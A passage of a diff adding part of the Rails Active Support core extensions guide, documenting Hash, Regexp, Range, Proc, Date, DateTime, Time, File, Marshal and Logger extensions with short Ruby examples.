+# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `symbolize_keys` and `symbolize_keys!`
+
+The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them:
+
+```ruby
+{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+# => {1=>1, nil=>nil, :a=>"a"}
+```
+
+WARNING. Note in the previous example only one key was symbolized.
+
+The result in case of collision is undefined:
+
+```ruby
+{"a" => 1, a: 2}.symbolize_keys
+# => {:a=>2}, in my test, can't rely on this result though
+```
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines
+
+```ruby
+def rewrite_path(options)
+ options = options.symbolize_keys
+ options.update(options[:params].symbolize_keys) if options[:params]
+ ...
+end
+```
+
+The second line can safely access the `:params` key, and let the user to pass either `:params` or "params".
+
+There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver.
+
+Besides that, one can use `deep_symbolize_keys` and `deep_symbolize_keys!` to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
+# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `to_options` and `to_options!`
+
+The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`.
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `assert_valid_keys`
+
+The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised.
+
+```ruby
+{a: 1}.assert_valid_keys(:a) # passes
+{a: 1}.assert_valid_keys("a") # ArgumentError
+```
+
+Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`.
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+### Slicing
+
+Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
+
+```ruby
+{a: 1, b: 2, c: 3}.slice(:a, :c)
+# => {:c=>3, :a=>1}
+
+{a: 1, b: 2, c: 3}.slice(:b, :X)
+# => {:b=>2} # non-existing keys are ignored
+```
+
+If the receiver responds to `convert_key` keys are normalized:
+
+```ruby
+{a: 1, b: 2}.with_indifferent_access.slice("a")
+# => {:a=>1}
+```
+
+NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
+
+There's also `slice!` which in addition to perform a slice in place returns what's removed:
+
+```ruby
+hash = {a: 1, b: 2}
+rest = hash.slice!(:a) # => {:b=>2}
+hash # => {:a=>1}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
+
+### Extracting
+
+The method `extract!` removes and returns the key/value pairs matching the given keys.
+
+```ruby
+hash = {a: 1, b: 2}
+rest = hash.extract!(:a) # => {:a=>1}
+hash # => {:b=>2}
+```
+
+The method `extract!` returns the same subclass of Hash, that the receiver is.
+
+```ruby
+hash = {a: 1, b: 2}.with_indifferent_access
+rest = hash.extract!(:a).class
+# => ActiveSupport::HashWithIndifferentAccess
+```
+
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
+
+### Indifferent Access
+
+The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver:
+
+```ruby
+{a: 1}.with_indifferent_access["a"] # => 1
+```
+
+NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
+
+Extensions to `Regexp`
+----------------------
+
+### `multiline?`
+
+The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines.
+
+```ruby
+%r{.}.multiline? # => false
+%r{.}m.multiline? # => true
+
+Regexp.new('.').multiline? # => false
+Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+```
+
+Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
+
+```ruby
+def assign_route_options(segments, defaults, requirements)
+ ...
+ if requirement.multiline?
+ raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+ end
+ ...
+end
+```
+
+NOTE: Defined in `active_support/core_ext/regexp.rb`.
+
+Extensions to `Range`
+---------------------
+
+### `to_s`
+
+Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`:
+
+```ruby
+(Date.today..Date.tomorrow).to_s
+# => "2009-10-25..2009-10-26"
+
+(Date.today..Date.tomorrow).to_s(:db)
+# => "BETWEEN '2009-10-25' AND '2009-10-26'"
+```
+
+As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions.
+
+NOTE: Defined in `active_support/core_ext/range/conversions.rb`.
+
+### `include?`
+
+The methods `Range#include?` and `Range#===` say whether some value falls between the ends of a given instance:
+
+```ruby
+(2..3).include?(Math::E) # => true
+```
+
+Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
+
+```ruby
+(1..10).include?(3..7) # => true
+(1..10).include?(0..7) # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9) # => false
+
+(1..10) === (3..7) # => true
+(1..10) === (0..7) # => false
+(1..10) === (3..11) # => false
+(1...9) === (3..9) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/range/include_range.rb`.
+
+### `overlaps?`
+
+The method `Range#overlaps?` says whether any two given ranges have non-void intersection:
+
+```ruby
+(1..10).overlaps?(7..11) # => true
+(1..10).overlaps?(0..7) # => true
+(1..10).overlaps?(11..27) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/range/overlaps.rb`.
+
+Extensions to `Proc`
+--------------------
+
+### `bind`
+
+As you surely know Ruby has an `UnboundMethod` class whose instances are methods that belong to the limbo of methods without a self. The method `Module#instance_method` returns an unbound method for example:
+
+```ruby
+Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
+```
+
+An unbound method is not callable as is, you need to bind it first to an object with `bind`:
+
+```ruby
+clear = Hash.instance_method(:clear)
+clear.bind({a: 1}).call # => {}
+```
+
+Active Support defines `Proc#bind` with an analogous purpose:
+
+```ruby
+Proc.new { size }.bind([]).call # => 0
+```
+
+As you see that's callable and bound to the argument, the return value is indeed a `Method`.
+
+NOTE: To do so `Proc#bind` actually creates a method under the hood. If you ever see a method with a weird name like `__bind_1256598120_237302` in a stack trace you know now where it comes from.
+
+Action Pack uses this trick in `rescue_from` for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by `handler_for_rescue`, thus simplifying the code in the caller:
+
+```ruby
+def handler_for_rescue(exception)
+ _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
+ ...
+ end
+
+ case rescuer
+ when Symbol
+ method(rescuer)
+ when Proc
+ rescuer.bind(self)
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/proc.rb`.
+
+Extensions to `Date`
+--------------------
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/date/calculations.rb`.
+
+INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior.
+
+#### `Date.current`
+
+Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Date.current`.
+
+When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`.
+
+#### Named dates
+
+##### `prev_year`, `next_year`
+
+In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_year # => Fri, 08 May 2009
+d.next_year # => Sun, 08 May 2011
+```
+
+If date is the 29th of February of a leap year, you obtain the 28th:
+
+```ruby
+d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
+d.prev_year # => Sun, 28 Feb 1999
+d.next_year # => Wed, 28 Feb 2001
+```
+
+`prev_year` is aliased to `last_year`.
+
+##### `prev_month`, `next_month`
+
+In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_month # => Thu, 08 Apr 2010
+d.next_month # => Tue, 08 Jun 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+```
+
+`prev_month` is aliased to `last_month`.
+
+##### `prev_quarter`, `next_quarter`
+
+Same as `prev_month` and `next_month`. It returns the date with the same day in the previous or next quarter:
+
+```ruby
+t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
+t.prev_quarter # => Mon, 08 Feb 2010
+t.next_quarter # => Sun, 08 Aug 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000
+Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000
+Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
+Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
+```
+
+`prev_quarter` is aliased to `last_quarter`.
+
+##### `beginning_of_week`, `end_of_week`
+
+The methods `beginning_of_week` and `end_of_week` return the dates for the
+beginning and end of the week, respectively. Weeks are assumed to start on
+Monday, but that can be changed passing an argument, setting thread local
+`Date.beginning_of_week` or `config.beginning_of_week`.
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.beginning_of_week # => Mon, 03 May 2010
+d.beginning_of_week(:sunday) # => Sun, 02 May 2010
+d.end_of_week # => Sun, 09 May 2010
+d.end_of_week(:sunday) # => Sat, 08 May 2010
+```
+
+`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`.
+
+##### `monday`, `sunday`
+
+The methods `monday` and `sunday` return the dates for the previous Monday and
+next Sunday, respectively.
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.monday # => Mon, 03 May 2010
+d.sunday # => Sun, 09 May 2010
+
+d = Date.new(2012, 9, 10) # => Mon, 10 Sep 2012
+d.monday # => Mon, 10 Sep 2012
+
+d = Date.new(2012, 9, 16) # => Sun, 16 Sep 2012
+d.sunday # => Sun, 16 Sep 2012
+```
+
+##### `prev_week`, `next_week`
+
+The method `next_week` receives a symbol with a day name in English (default is the thread local `Date.beginning_of_week`, or `config.beginning_of_week`, or `:monday`) and it returns the date corresponding to that day.
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.next_week # => Mon, 10 May 2010
+d.next_week(:saturday) # => Sat, 15 May 2010
+```
+
+The method `prev_week` is analogous:
+
+```ruby
+d.prev_week # => Mon, 26 Apr 2010
+d.prev_week(:saturday) # => Sat, 01 May 2010
+d.prev_week(:friday) # => Fri, 30 Apr 2010
+```
+
+`prev_week` is aliased to `last_week`.
+
+Both `next_week` and `prev_week` work as expected when `Date.beginning_of_week` or `config.beginning_of_week` are set.
+
+##### `beginning_of_month`, `end_of_month`
+
+The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_month # => Sat, 01 May 2010
+d.end_of_month # => Mon, 31 May 2010
+```
+
+`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`.
+
+##### `beginning_of_quarter`, `end_of_quarter`
+
+The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_quarter # => Thu, 01 Apr 2010
+d.end_of_quarter # => Wed, 30 Jun 2010
+```
+
+`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`.
+
+##### `beginning_of_year`, `end_of_year`
+
+The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_year # => Fri, 01 Jan 2010
+d.end_of_year # => Fri, 31 Dec 2010
+```
+
+`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`.
+
+#### Other Date Computations
+
+##### `years_ago`, `years_since`
+
+The method `years_ago` receives a number of years and returns the same date those many years ago:
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.years_ago(10) # => Wed, 07 Jun 2000
+```
+
+`years_since` moves forward in time:
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.years_since(10) # => Sun, 07 Jun 2020
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009
+Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015
+```
+
+##### `months_ago`, `months_since`
+
+The methods `months_ago` and `months_since` work analogously for months:
+
+```ruby
+Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
+Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
+Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
+```
+
+##### `weeks_ago`
+
+The method `weeks_ago` works analogously for weeks:
+
+```ruby
+Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010
+Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010
+```
+
+##### `advance`
+
+The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:
+
+```ruby
+date = Date.new(2010, 6, 6)
+date.advance(years: 1, weeks: 2) # => Mon, 20 Jun 2011
+date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
+```
+
+Note in the previous example that increments may be negative.
+
+To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.
+
+The method `advance` advances first one month, and then one day, the result is:
+
+```ruby
+Date.new(2010, 2, 28).advance(months: 1, days: 1)
+# => Sun, 29 Mar 2010
+```
+
+While if it did it the other way around the result would be different:
+
+```ruby
+Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
+# => Thu, 01 Apr 2010
+```
+
+#### Changing Components
+
+The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day:
+
+```ruby
+Date.new(2010, 12, 23).change(year: 2011, month: 11)
+# => Wed, 23 Nov 2011
+```
+
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
+
+```ruby
+Date.new(2010, 1, 31).change(month: 2)
+# => ArgumentError: invalid date
+```
+
+#### Durations
+
+Durations can be added to and subtracted from dates:
+
+```ruby
+d = Date.current
+# => Mon, 09 Aug 2010
+d + 1.year
+# => Tue, 09 Aug 2011
+d - 3.hours
+# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+Date.new(1582, 10, 4) + 1.day
+# => Fri, 15 Oct 1582
+```
+
+#### Timestamps
+
+INFO: The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone.
+
+##### `beginning_of_day`, `end_of_day`
+
+The method `beginning_of_day` returns a timestamp at the beginning of the day (00:00:00):
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
+```
+
+The method `end_of_day` returns a timestamp at the end of the day (23:59:59):
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
+```
+
+`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`.
+
+##### `beginning_of_hour`, `end_of_hour`
+
+The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
+```
+
+The method `end_of_hour` returns a timestamp at the end of the hour (hh:59:59):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
+```
+
+`beginning_of_hour` is aliased to `at_beginning_of_hour`.
+
+##### `beginning_of_minute`, `end_of_minute`
+
+The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
+```
+
+The method `end_of_minute` returns a timestamp at the end of the minute (hh:mm:59):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
+```
+
+`beginning_of_minute` is aliased to `at_beginning_of_minute`.
+
+INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance.
+
+##### `ago`, `since`
+
+The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
+
+```ruby
+date = Date.current # => Fri, 11 Jun 2010
+date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
+```
+
+Similarly, `since` moves forward:
+
+```ruby
+date = Date.current # => Fri, 11 Jun 2010
+date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
+```
+
+#### Other Time Computations
+
+### Conversions
+
+Extensions to `DateTime`
+------------------------
+
+WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day.
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`.
+
+The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes:
+
+```ruby
+yesterday
+tomorrow
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+```
+
+The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones:
+
+```ruby
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+ago
+since (in)
+```
+
+On the other hand, `advance` and `change` are also defined and support more options, they are documented below.
+
+The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance:
+
+```ruby
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+```
+
+#### Named Datetimes
+
+##### `DateTime.current`
+
+Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`.
+
+#### Other Extensions
+
+##### `seconds_since_midnight`
+
+The method `seconds_since_midnight` returns the number of seconds since midnight:
+
+```ruby
+now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000
+now.seconds_since_midnight # => 73596
+```
+
+##### `utc`
+
+The method `utc` gives you the same datetime in the receiver expressed in UTC.
+
+```ruby
+now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
+now.utc # => Mon, 07 Jun 2010 23:27:52 +0000
+```
+
+This method is also aliased as `getutc`.
+
+##### `utc?`
+
+The predicate `utc?` says whether the receiver has UTC as its time zone:
+
+```ruby
+now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
+now.utc? # => false
+now.utc.utc? # => true
+```
+
+##### `advance`
+
+The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate.
+
+```ruby
+d = DateTime.current
+# => Thu, 05 Aug 2010 11:33:31 +0000
+d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
+# => Tue, 06 Sep 2011 12:34:32 +0000
+```
+
+This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling `since` with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits.
+
+If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
+
+```ruby
+d = DateTime.new(2010, 2, 28, 23, 59, 59)
+# => Sun, 28 Feb 2010 23:59:59 +0000
+d.advance(months: 1, seconds: 1)
+# => Mon, 29 Mar 2010 00:00:00 +0000
+```
+
+but if we computed them the other way around, the result would be different:
+
+```ruby
+d.advance(seconds: 1).advance(months: 1)
+# => Thu, 01 Apr 2010 00:00:00 +0000
+```
+
+WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
+
+#### Changing Components
+
+The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`:
+
+```ruby
+now = DateTime.current
+# => Tue, 08 Jun 2010 01:56:22 +0000
+now.change(year: 2011, offset: Rational(-6, 24))
+# => Wed, 08 Jun 2011 01:56:22 -0600
+```
+
+If hours are zeroed, then minutes and seconds are too (unless they have given values):
+
+```ruby
+now.change(hour: 0)
+# => Tue, 08 Jun 2010 00:00:00 +0000
+```
+
+Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):
+
+```ruby
+now.change(min: 0)
+# => Tue, 08 Jun 2010 01:00:00 +0000
+```
+
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
+
+```ruby
+DateTime.current.change(month: 2, day: 30)
+# => ArgumentError: invalid date
+```
+
+#### Durations
+
+Durations can be added to and subtracted from datetimes:
+
+```ruby
+now = DateTime.current
+# => Mon, 09 Aug 2010 23:15:17 +0000
+now + 1.year
+# => Tue, 09 Aug 2011 23:15:17 +0000
+now - 1.week
+# => Mon, 02 Aug 2010 23:15:17 +0000
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+DateTime.new(1582, 10, 4, 23) + 1.hour
+# => Fri, 15 Oct 1582 00:00:00 +0000
+```
+
+Extensions to `Time`
+--------------------
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/time/calculations.rb`.
+
+Active Support adds to `Time` many of the methods available for `DateTime`:
+
+```ruby
+past?
+today?
+future?
+yesterday
+tomorrow
+seconds_since_midnight
+change
+advance
+ago
+since (in)
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+```
+
+They are analogous. Please refer to their documentation above and take into account the following differences:
+
+* `change` accepts an additional `:usec` option.
+* `Time` understands DST, so you get correct DST calculations as in
+
+```ruby
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+
+# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
+t = Time.local(2010, 3, 28, 1, 59, 59)
+# => Sun Mar 28 01:59:59 +0100 2010
+t.advance(seconds: 1)
+# => Sun Mar 28 03:00:00 +0200 2010
+```
+
+* If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead.
+
+#### `Time.current`
+
+Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines `Time.yesterday` and `Time.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
+
+When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` and not `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.today` uses by default. This means `Time.now` may equal `Time.yesterday`.
+
+#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`
+
+The method `all_day` returns a range representing the whole day of the current time.
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_day
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+```
+
+Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges.
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_week
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+now.all_week(:sunday)
+# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
+now.all_month
+# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+now.all_quarter
+# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+now.all_year
+# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+```
+
+### Time Constructors
+
+Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:
+
+```ruby
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.current
+# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
+```
+
+Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`.
+
+If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead.
+
+#### Durations
+
+Durations can be added to and subtracted from time objects:
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now + 1.year
+# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+now - 1.week
+# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+Time.utc(1582, 10, 3) + 5.days
+# => Mon Oct 18 00:00:00 UTC 1582
+```
+
+Extensions to `File`
+--------------------
+
+### `atomic_write`
+
+With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content.
+
+The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job.
+
+For example, Action Pack uses this method to write asset cache files like `all.css`:
+
+```ruby
+File.atomic_write(joined_asset_path) do |cache|
+ cache.write(join_asset_file_contents(asset_paths))
+end
+```
+
+To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions. However there are a few cases where `atomic_write` cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is [...]
+
+NOTE. Due to the chmod operation `atomic_write` performs, if the target file has an ACL set on it this ACL will be recalculated/modified.
+
+WARNING. Note you can't append with `atomic_write`.
+
+The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.
+
+NOTE: Defined in `active_support/core_ext/file/atomic.rb`.
+
+Extensions to `Marshal`
+-----------------------
+
+### `load`
+
+Active Support adds constant autoloading support to `load`.
+
+For example, the file cache store deserializes this way:
+
+```ruby
+File.open(file_name) { |f| Marshal.load(f) }
+```
+
+If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently.
+
+WARNING. If the argument is an `IO` it needs to respond to `rewind` to be able to retry. Regular files respond to `rewind`.
+
+NOTE: Defined in `active_support/core_ext/marshal.rb`.
+
+Extensions to `Logger`
+----------------------
+
+### `around_[level]`
+
+Takes two arguments, a `before_message` and `after_message` and calls the current level method on the `Logger` instance, passing in the `before_message`, then the specified message, then the `after_message`:
+
+```ruby
+logger = Logger.new("log/development.log")
+logger.around_info("before", "after") { |logger| logger.info("during") }
+```
+
+### `silence`
+
+Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
+
+```ruby
+logger = Logger.new("log/development.log")
